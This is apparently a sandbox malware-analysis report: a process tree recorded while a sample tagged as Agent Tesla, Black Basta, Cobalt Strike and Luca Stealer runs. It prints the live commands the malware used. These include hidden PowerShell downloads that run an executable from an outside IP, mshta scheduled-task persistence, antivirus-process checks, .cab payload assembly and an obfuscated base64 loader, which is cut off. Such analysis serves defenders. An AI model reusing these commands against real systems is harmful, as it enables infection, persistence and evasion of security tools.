PID 2492 wrote to memory of 1220	2492	rapes.exe	39
PID 2492 wrote to memory of 1220	2492	rapes.exe	39
PID 2492 wrote to memory of 1220	2492	rapes.exe	39
PID 2492 wrote to memory of 1220	2492	rapes.exe	39
PID 1220 wrote to memory of 2928	1220	b4b69140ca.exe	40
PID 1220 wrote to memory of 2928	1220	b4b69140ca.exe	40
PID 1220 wrote to memory of 2928	1220	b4b69140ca.exe	40
PID 1220 wrote to memory of 2928	1220	b4b69140ca.exe	40
PID 1220 wrote to memory of 2872	1220	b4b69140ca.exe	41
PID 1220 wrote to memory of 2872	1220	b4b69140ca.exe	41
PID 1220 wrote to memory of 2872	1220	b4b69140ca.exe	41
PID 1220 wrote to memory of 2872	1220	b4b69140ca.exe	41
PID 2928 wrote to memory of 2076	2928	cmd.exe	43
PID 2928 wrote to memory of 2076	2928	cmd.exe	43
PID 2928 wrote to memory of 2076	2928	cmd.exe	43
PID 2928 wrote to memory of 2076	2928	cmd.exe	43
PID 2872 wrote to memory of 540	2872	mshta.exe	44
PID 2872 wrote to memory of 540	2872	mshta.exe	44
PID 2872 wrote to memory of 540	2872	mshta.exe	44
PID 2872 wrote to memory of 540	2872	mshta.exe	44
PID 2492 wrote to memory of 2120	2492	rapes.exe	46
PID 2492 wrote to memory of 2120	2492	rapes.exe	46
PID 2492 wrote to memory of 2120	2492	rapes.exe	46
PID 2492 wrote to memory of 2120	2492	rapes.exe	46
PID 2120 wrote to memory of 2592	2120	cmd.exe	48
PID 2120 wrote to memory of 2592	2120	cmd.exe	48
PID 2120 wrote to memory of 2592	2120	cmd.exe	48
PID 2120 wrote to memory of 2592	2120	cmd.exe	48
PID 540 wrote to memory of 2612	540	powershell.exe	49
PID 540 wrote to memory of 2612	540	powershell.exe	49
PID 540 wrote to memory of 2612	540	powershell.exe	49
PID 540 wrote to memory of 2612	540	powershell.exe	49
PID 2120 wrote to memory of 1476	2120	cmd.exe	50
PID 2120 wrote to memory of 1476	2120	cmd.exe	50
PID 2120 wrote to memory of 1476	2120	cmd.exe	50
PID 2120 wrote to memory of 1476	2120	cmd.exe	50
PID 1476 wrote to memory of 1936	1476	cmd.exe	51
PID 1476 wrote to memory of 1936	1476	cmd.exe	51
PID 1476 wrote to memory of 1936	1476	cmd.exe	51
PID 1476 wrote to memory of 1936	1476	cmd.exe	51

C:\Users\Admin\AppData\Local\Temp\2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn mXpTwmayfW5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\rzFD0zZ1E.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn mXpTwmayfW5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\rzFD0zZ1E.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2424
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\rzFD0zZ1E.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'D4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Users\Admin\AppData\Local\TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
      "C:\Users\Admin\AppData\Local\TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2832
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2492
      - C:\Users\Admin\AppData\Local\Temp\10369870101\b4b69140ca.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369870101\b4b69140ca.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1220
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn TrKmxmaOt32 /tr "mshta C:\Users\Admin\AppData\Local\Temp\CSBRijOY1.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2928
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn TrKmxmaOt32 /tr "mshta C:\Users\Admin\AppData\Local\Temp\CSBRijOY1.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2076
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\CSBRijOY1.hta
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of WriteProcessMemory
        
        PID:2872
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'DEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:540
        
        C:\Users\Admin\AppData\Local\TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
        
        "C:\Users\Admin\AppData\Local\TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2612
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10369880121\am_no.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2120
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2592
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2304
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1812
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2380
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2360
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "vFcp2maEreH" /tr "mshta \"C:\Temp\Uy1SNL2Yc.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2184
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\Uy1SNL2Yc.hta"
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2244
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2732
      - C:\Users\Admin\AppData\Local\Temp\10369910101\6lV7WRt.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369910101\6lV7WRt.exe"
        6⤵
        Executes dropped EXE
        
        PID:2316
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2316 -s 44
        7⤵
        Loads dropped DLL
        
        PID:2220
      - C:\Users\Admin\AppData\Local\Temp\10370040101\amnew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370040101\amnew.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1688
        
        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        7⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\10044090101\b09088c50f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10044090101\b09088c50f.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1728
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10044090101\b09088c50f.exe"
        9⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2368
        
        C:\Users\Admin\AppData\Local\Temp\10044100101\59d9864282.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10044100101\59d9864282.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2040
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10044100101\59d9864282.exe"
        9⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:604
      - C:\Users\Admin\AppData\Local\Temp\10370210101\632e0ac6b2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370210101\632e0ac6b2.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1160
      - C:\Users\Admin\AppData\Local\Temp\10370260101\2071459991.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370260101\2071459991.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2816
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370260101\2071459991.exe"
        7⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1448
      - C:\Users\Admin\AppData\Local\Temp\10370270101\e460970a21.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370270101\e460970a21.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2528
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370270101\e460970a21.exe"
        7⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1372
      - C:\Users\Admin\AppData\Local\Temp\10370280101\6lV7WRt.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370280101\6lV7WRt.exe"
        6⤵
        Executes dropped EXE
        
        PID:2052
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2052 -s 44
        7⤵
        Loads dropped DLL
        
        PID:292
      - C:\Users\Admin\AppData\Local\Temp\10370290101\Rm3cVPI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370290101\Rm3cVPI.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2192
      - C:\Users\Admin\AppData\Local\Temp\10370300101\eb1289c4af.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370300101\eb1289c4af.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2584
      - C:\Users\Admin\AppData\Local\Temp\10370310101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370310101\TbV75ZR.exe"
        6⤵
        Executes dropped EXE
        
        PID:2072
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2072 -s 44
        7⤵
        Loads dropped DLL
        
        PID:684
      - C:\Users\Admin\AppData\Local\Temp\10370320101\EPTwCQd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370320101\EPTwCQd.exe"
        6⤵
        Executes dropped EXE
        
        PID:2932
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2932 -s 28
        7⤵
        Loads dropped DLL
        
        PID:2944
      - C:\Users\Admin\AppData\Local\Temp\10370330101\7IIl2eE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370330101\7IIl2eE.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2524
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
        7⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2200
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1860
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2480
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1964
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1940
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1952
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Leon.cab
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2692
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "BEVERAGES" Compilation
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1032
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:324
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1376
        
        C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
        
        Passwords.com N
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:916
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:540
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10370341121\8BNn7ce.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:332
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10370341121\8BNn7ce.cmd"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1856
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaX